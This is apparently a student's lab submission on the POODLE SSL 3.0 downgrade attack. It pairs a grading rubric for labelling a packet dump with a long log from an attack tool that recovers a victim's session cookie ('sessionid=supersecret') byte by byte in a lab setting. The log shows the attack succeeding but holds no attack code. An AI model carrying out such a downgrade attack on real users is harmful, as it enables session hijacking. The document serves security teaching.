Lab 12 - SSL Downgrade

1. Separately uploaded PDF of POODLEAttack output, marked up as outlined in Step 12:
    a. For the lab turn-in, open the attacker dump with LibreOffice Writer and label the following information in the text:
        i. Highlight all ports our firefox sessions are running on with orange.
        (10 points)
        ii. Highlight all ports the attack proxy is running on with blue.
        (10 points)
        iii. Highlight all ports the target webserver is running on with green.
        (10 points)

    b. For the **attacker packet dump**
        i. Label the first attempt (**Attempt #1 Client**) of the client to connect to the web server (which is really the attacker's IP), using version 3.1 and where the attempt fails
        (10 points)
        ii. Label version 3.1 as **TLS 1.0**.
        (10 points)
        iii. Highlight the portion in Attempt #1 that shows the connection being terminated (this is the proxy denying the use of version 3.1 with a FIN) with red.
        (5 points)
        iv. Label the second attempt (**Attempt #2 Client**) by the client to connect to the web server, using version 3.0. Label this as **SSL 3.0**.
        (10 points)
        v. Label where the attacker makes a request to the ssl server on behalf of the client (**Attacker to Vulnerable Server**)
        (10 points)
        vi. Identify whether the request is for **TLS or SSL**. Explain why it is the version it is in your lab report.
        (5 points)
            - It falls back into SSL 3.0 because the attack pushes it to this state to be able to utilize specific vulnerabilities within SSL 3.0. At this point going from the browser to the attackers IP, since it failed the first time going through as TLS 1.0 it fell back on SSL 3.0 and allowed it though.
        vii. Find the change cipher spec (**Change Cipher Spec**)which then signals the transmission of application data (**Application Data**) color with pink.
        (10 points)
    c. Leaked information file with the cookie highlighted in purple (a screenshot is also acceptable.)

(10 points)

```
Decrypted byte 384: . (0x2e) in 19.6394 seconds with 147 requests
Victim now leaked 1 bytes: "." 147 requests and 19.639 seconds per leaked
bytes, 147 requests and 19.639 seconds total
Decrypted byte 385: 3 (0x33) in 0.5647 seconds with 4 requests
Victim now leaked 2 bytes: ".3" 75 requests and 10.102 seconds per leaked
bytes, 151 requests and 20.204 seconds total
Decrypted byte 386: 4 (0x34) in 19.1795 seconds with 145 requests
Victim now leaked 3 bytes: ".34" 98 requests and 13.128 seconds per leaked
bytes, 296 requests and 39.384 seconds total
Decrypted byte 387: . (0x2e) in 6.8681 seconds with 52 requests
Victim now leaked 4 bytes: ".34." 87 requests and 11.563 seconds per leaked
bytes, 348 requests and 46.252 seconds total
Decrypted byte 388: 4 (0x34) in 24.7634 seconds with 187 requests
Victim now leaked 5 bytes: ".34.4" 107 requests and 14.203 seconds per leaked
bytes, 535 requests and 71.015 seconds total
Decrypted byte 389: : (0x3a) in 3.7997 seconds with 28 requests
Victim now leaked 6 bytes: ".34.4:" 93 requests and 12.469 seconds per leaked
bytes, 563 requests and 74.815 seconds total
Decrypted byte 390: 8 (0x38) in 0.3665 seconds with 2 requests
Victim now leaked 7 bytes: ".34.4:8" 80 requests and 10.740 seconds per leaked
bytes, 565 requests and 75.181 seconds total
Decrypted byte 391: 0 (0x30) in 27.8514 seconds with 211 requests
Victim now leaked 8 bytes: ".34.4:80" 97 requests and 12.879 seconds per
leaked bytes, 776 requests and 103.033 seconds total
Decrypted byte 392: 0 (0x30) in 55.3445 seconds with 414 requests
Victim now leaked 9 bytes: ".34.4:800" 132 requests and 17.597 seconds per
leaked bytes, 1190 requests and 158.377 seconds total
Decrypted byte 393: 0 (0x30) in 63.0242 seconds with 476 requests
Victim now leaked 10 bytes: ".34.4:8000" 166 requests and 22.140 seconds per
leaked bytes, 1666 requests and 221.401 seconds total
 (0x0d) in 25.7425 seconds with 193 requests
" 169 requests and 22.468 seconds per leaked bytes, 1859 requests and
247.144 seconds total
Decrypted byte 395:
 (0x0a) in 4.5475 seconds with 33 requests
Victim now leaked 12 bytes: ".34.4:8000
" 157 requests and 20.974 seconds per leaked bytes, 1892 requests and
251.691 seconds total
Decrypted byte 396: C (0x43) in 37.0998 seconds with 277 requests
Victim now leaked 13 bytes: ".34.4:8000
C" 166 requests and 22.215 seconds per leaked bytes, 2169 requests and
```

```
288.791 seconds total
Decrypted byte 397: o (0x6f) in 34.4118 seconds with 261 requests
Victim now leaked 14 bytes: ".34.4:8000
Co" 173 requests and 23.086 seconds per leaked bytes, 2430 requests and
323.203 seconds total
Decrypted byte 398: o (0x6f) in 27.6273 seconds with 209 requests
Victim now leaked 15 bytes: ".34.4:8000
Coo" 175 requests and 23.389 seconds per leaked bytes, 2639 requests and
350.830 seconds total
Decrypted byte 399: k (0x6b) in 138.9735 seconds with 1048 requests
Victim now leaked 16 bytes: ".34.4:8000
Cook" 230 requests and 30.613 seconds per leaked bytes, 3687 requests and
489.804 seconds total
Decrypted byte 400: i (0x69) in 30.2867 seconds with 228 requests
Victim now leaked 17 bytes: ".34.4:8000
Cooki" 230 requests and 30.594 seconds per leaked bytes, 3915 requests and
520.091 seconds total
Decrypted byte 401: e (0x65) in 7.1512 seconds with 54 requests
Victim now leaked 18 bytes: ".34.4:8000
Cookie" 220 requests and 29.291 seconds per leaked bytes, 3969 requests and
527.242 seconds total
Decrypted byte 402: : (0x3a) in 4.6357 seconds with 35 requests
Victim now leaked 19 bytes: ".34.4:8000
Cookie:" 210 requests and 27.994 seconds per leaked bytes, 4004 requests and
531.878 seconds total
Decrypted byte 403:   (0x20) in 39.3131 seconds with 297 requests
Victim now leaked 20 bytes: ".34.4:8000
Cookie: " 215 requests and 28.560 seconds per leaked bytes, 4301 requests and
571.191 seconds total
Decrypted byte 404: s (0x73) in 3.3196 seconds with 25 requests
Victim now leaked 21 bytes: ".34.4:8000
Cookie: s" 206 requests and 27.358 seconds per leaked bytes, 4326 requests
and 574.510 seconds total
Decrypted byte 405: e (0x65) in 3.0706 seconds with 23 requests
Victim now leaked 22 bytes: ".34.4:8000
Cookie: se" 197 requests and 26.254 seconds per leaked bytes, 4349 requests
and 577.581 seconds total
Decrypted byte 406: s (0x73) in 10.1530 seconds with 77 requests
Victim now leaked 23 bytes: ".34.4:8000
Cookie: ses" 192 requests and 25.554 seconds per leaked bytes, 4426 requests
and 587.734 seconds total
Decrypted byte 407: s (0x73) in 18.5956 seconds with 139 requests
Victim now leaked 24 bytes: ".34.4:8000
```

```
Cookie: sess" 190 requests and 25.264 seconds per leaked bytes, 4565 requests
and 606.330 seconds total
Decrypted byte 408: i (0x69) in 13.2197 seconds with 99 requests
Victim now leaked 25 bytes: ".34.4:8000
Cookie: sessi" 186 requests and 24.782 seconds per leaked bytes, 4664
requests and 619.549 seconds total
Decrypted byte 409: o (0x6f) in 0.3109 seconds with 2 requests
Victim now leaked 26 bytes: ".34.4:8000
Cookie: sessio" 179 requests and 23.841 seconds per leaked bytes, 4666
requests and 619.860 seconds total
Decrypted byte 410: n (0x6e) in 28.1725 seconds with 210 requests
Victim now leaked 27 bytes: ".34.4:8000
Cookie: session" 180 requests and 24.001 seconds per leaked bytes, 4876
requests and 648.033 seconds total
Decrypted byte 411: i (0x69) in 16.3599 seconds with 123 requests
Victim now leaked 28 bytes: ".34.4:8000
Cookie: sessioni" 178 requests and 23.728 seconds per leaked bytes, 4999
requests and 664.393 seconds total
Decrypted byte 412: d (0x64) in 29.6542 seconds with 223 requests
Victim now leaked 29 bytes: ".34.4:8000
Cookie: sessionid" 180 requests and 23.933 seconds per leaked bytes, 5222
requests and 694.047 seconds total
Decrypted byte 413: = (0x3d) in 85.7650 seconds with 638 requests
Victim now leaked 30 bytes: ".34.4:8000
Cookie: sessionid=" 195 requests and 25.994 seconds per leaked bytes, 5860
requests and 779.812 seconds total
Decrypted byte 414: s (0x73) in 18.8395 seconds with 141 requests
Victim now leaked 31 bytes: ".34.4:8000
Cookie: sessionid=s" 193 requests and 25.763 seconds per leaked bytes, 6001
requests and 798.651 seconds total
Decrypted byte 415: u (0x75) in 0.8396 seconds with 6 requests
Victim now leaked 32 bytes: ".34.4:8000
Cookie: sessionid=su" 187 requests and 24.984 seconds per leaked bytes, 6007
requests and 799.491 seconds total
Decrypted byte 416: p (0x70) in 3.6341 seconds with 26 requests
Victim now leaked 33 bytes: ".34.4:8000
Cookie: sessionid=sup" 182 requests and 24.337 seconds per leaked bytes,
6033 requests and 803.125 seconds total
Decrypted byte 417: e (0x65) in 5.5761 seconds with 41 requests
Victim now leaked 34 bytes: ".34.4:8000
Cookie: sessionid=supe" 178 requests and 23.785 seconds per leaked bytes,
6074 requests and 808.701 seconds total
Decrypted byte 418: r (0x72) in 31.9811 seconds with 236 requests
```

```
Victim now leaked 35 bytes: ".34.4:8000
Cookie: sessionid=super" 180 requests and 24.019 seconds per leaked bytes,
6310 requests and 840.682 seconds total
Decrypted byte 419: s (0x73) in 6.1835 seconds with 46 requests
Victim now leaked 36 bytes: ".34.4:8000
Cookie: sessionid=supers" 176 requests and 23.524 seconds per leaked bytes,
6356 requests and 846.866 seconds total
Decrypted byte 420: e (0x65) in 24.1834 seconds with 182 requests
Victim now leaked 37 bytes: ".34.4:8000
Cookie: sessionid=superse" 176 requests and 23.542 seconds per leaked bytes,
6538 requests and 871.049 seconds total
Decrypted byte 421: c (0x63) in 46.9282 seconds with 352 requests
Victim now leaked 38 bytes: ".34.4:8000
Cookie: sessionid=supersec" 181 requests and 24.157 seconds per leaked
bytes, 6890 requests and 917.977 seconds total
Decrypted byte 422: r (0x72) in 30.6676 seconds with 226 requests
Victim now leaked 39 bytes: ".34.4:8000
Cookie: sessionid=supersecr" 182 requests and 24.324 seconds per leaked
bytes, 7116 requests and 948.645 seconds total
Decrypted byte 423: e (0x65) in 18.1426 seconds with 94 requests
Victim now leaked 40 bytes: ".34.4:8000
Cookie: sessionid=supersecre" 180 requests and 24.170 seconds per leaked
bytes, 7210 requests and 966.787 seconds total
Decrypted byte 424: t (0x74) in 7.9094 seconds with 59 requests
Victim now leaked 41 bytes: ".34.4:8000
Cookie: sessionid=supersecret" 177 requests and 23.773 seconds per leaked
bytes, 7269 requests and 974.697 seconds total
 (0x0d) in 4.4029 seconds with 32 requests
Victim now leaked 42 bytes: ".34.4:8000
" 173 requests and 23.312 seconds per leaked bytes, 7301 requests and
979.100 seconds total
Decrypted byte 426:
 (0x0a) in 34.6482 seconds with 260 requests
Victim now leaked 43 bytes: ".34.4:8000
Cookie: sessionid=supersecret
" 175 requests and 23.576 seconds per leaked bytes, 7561 requests and
1013.748 seconds total
Decrypted byte 427: C (0x43) in 16.4040 seconds with 122 requests
Victim now leaked 44 bytes: ".34.4:8000
Cookie: sessionid=supersecret
C" 174 requests and 23.413 seconds per leaked bytes, 7683 requests and
1030.152 seconds total
Decrypted byte 428: o (0x6f) in 17.9197 seconds with 133 requests
```

```
Victim now leaked 45 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Co" 173 requests and 23.290 seconds per leaked bytes, 7816 requests and
1048.072 seconds total
Decrypted byte 429: n (0x6e) in 4.4063 seconds with 33 requests
Victim now leaked 46 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Con" 170 requests and 22.880 seconds per leaked bytes, 7849 requests and
1052.478 seconds total
Decrypted byte 430: n (0x6e) in 21.0401 seconds with 157 requests
Victim now leaked 47 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Conn" 170 requests and 22.841 seconds per leaked bytes, 8006 requests and
1073.518 seconds total
Decrypted byte 431: e (0x65) in 35.5236 seconds with 264 requests
Victim now leaked 48 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Conne" 172 requests and 23.105 seconds per leaked bytes, 8270 requests and
1109.042 seconds total
Decrypted byte 432: c (0x63) in 3.3072 seconds with 24 requests
Victim now leaked 49 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connec" 169 requests and 22.701 seconds per leaked bytes, 8294 requests and
1112.349 seconds total
Decrypted byte 433: t (0x74) in 91.8090 seconds with 684 requests
Victim now leaked 50 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connect" 179 requests and 24.083 seconds per leaked bytes, 8978 requests and
1204.158 seconds total
Decrypted byte 434: i (0x69) in 64.7544 seconds with 482 requests
Victim now leaked 51 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connecti" 185 requests and 24.881 seconds per leaked bytes, 9460 requests
and 1268.912 seconds total
Decrypted byte 435: o (0x6f) in 67.5288 seconds with 501 requests
Victim now leaked 52 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connectio" 191 requests and 25.701 seconds per leaked bytes, 9961 requests
and 1336.441 seconds total
Decrypted byte 436: n (0x6e) in 22.9759 seconds with 171 requests
Victim now leaked 53 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection" 191 requests and 25.649 seconds per leaked bytes, 10132 requests
```

```
and 1359.417 seconds total
Decrypted byte 437: : (0x3a) in 84.7620 seconds with 628 requests
Victim now leaked 54 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection:" 199 requests and 26.744 seconds per leaked bytes, 10760
requests and 1444.179 seconds total
Decrypted byte 438:   (0x20) in 43.6842 seconds with 324 requests
Victim now leaked 55 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: " 201 requests and 27.052 seconds per leaked bytes, 11084
requests and 1487.863 seconds total
Decrypted byte 439: k (0x6b) in 89.1960 seconds with 660 requests
Victim now leaked 56 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: k" 209 requests and 28.162 seconds per leaked bytes, 11744
requests and 1577.059 seconds total
Decrypted byte 440: e (0x65) in 11.5802 seconds with 84 requests
Victim now leaked 57 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: ke" 207 requests and 27.871 seconds per leaked bytes, 11828
requests and 1588.639 seconds total
Decrypted byte 441: e (0x65) in 110.4785 seconds with 813 requests
Victim now leaked 58 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: kee" 217 requests and 29.295 seconds per leaked bytes, 12641
requests and 1699.118 seconds total
Decrypted byte 442: p (0x70) in 23.2117 seconds with 135 requests
Victim now leaked 59 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep" 216 requests and 29.192 seconds per leaked bytes, 12776
requests and 1722.329 seconds total
Decrypted byte 443: - (0x2d) in 28.9354 seconds with 214 requests
Victim now leaked 60 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-" 216 requests and 29.188 seconds per leaked bytes, 12990
requests and 1751.265 seconds total
Decrypted byte 444: a (0x61) in 2.3917 seconds with 17 requests
Victim now leaked 61 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-a" 213 requests and 28.748 seconds per leaked bytes, 13007
requests and 1753.656 seconds total
Decrypted byte 445: l (0x6c) in 88.3117 seconds with 660 requests
Victim now leaked 62 bytes: ".34.4:8000
```

```
Cookie: sessionid=supersecret
Connection: keep-al" 220 requests and 29.709 seconds per leaked bytes, 13667
requests and 1841.968 seconds total
Decrypted byte 446: i (0x69) in 38.3238 seconds with 243 requests
Victim now leaked 63 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-ali" 220 requests and 29.846 seconds per leaked bytes, 13910
requests and 1880.292 seconds total
Decrypted byte 447: v (0x76) in 7.7282 seconds with 58 requests
Victim now leaked 64 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-aliv" 218 requests and 29.500 seconds per leaked bytes,
13968 requests and 1888.020 seconds total
Decrypted byte 448: e (0x65) in 3.2605 seconds with 24 requests
Victim now leaked 65 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-alive" 215 requests and 29.097 seconds per leaked bytes,
13992 requests and 1891.281 seconds total
 (0x0d) in 57.7867 seconds with 429 requests
Victim now leaked 66 bytes: ".34.4:8000
Cookie: sessionid=supersecret
" 218 requests and 29.531 seconds per leaked bytes, 14421 requests and
1949.067 seconds total
Decrypted byte 450:
 (0x0a) in 11.0137 seconds with 81 requests
Victim now leaked 67 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-alive
" 216 requests and 29.255 seconds per leaked bytes, 14502 requests and
1960.081 seconds total
Decrypted byte 451: P (0x50) in 13.8047 seconds with 102 requests
Victim now leaked 68 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-alive
P" 214 requests and 29.028 seconds per leaked bytes, 14604 requests and
1973.886 seconds total
Decrypted byte 452: r (0x72) in 0.8313 seconds with 6 requests
Victim now leaked 69 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-alive
Pr" 211 requests and 28.619 seconds per leaked bytes, 14610 requests and
1974.717 seconds total
Decrypted byte 453: a (0x61) in 33.2254 seconds with 248 requests
```

```
Victim now leaked 70 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-alive
Pra" 212 requests and 28.685 seconds per leaked bytes, 14858 requests and
2007.942 seconds total
Decrypted byte 454: g (0x67) in 10.4565 seconds with 76 requests
Victim now leaked 71 bytes: ".34.4:8000
Cookie: sessionid=supersecret
Connection: keep-alive
Prag" 210 requests and 28.428 seconds per leaked bytes, 14934 requests and
2018.399 seconds total

……..

Cookie: sessionid=supersecret
Connection: keep-alive
Pragma: no-cache
```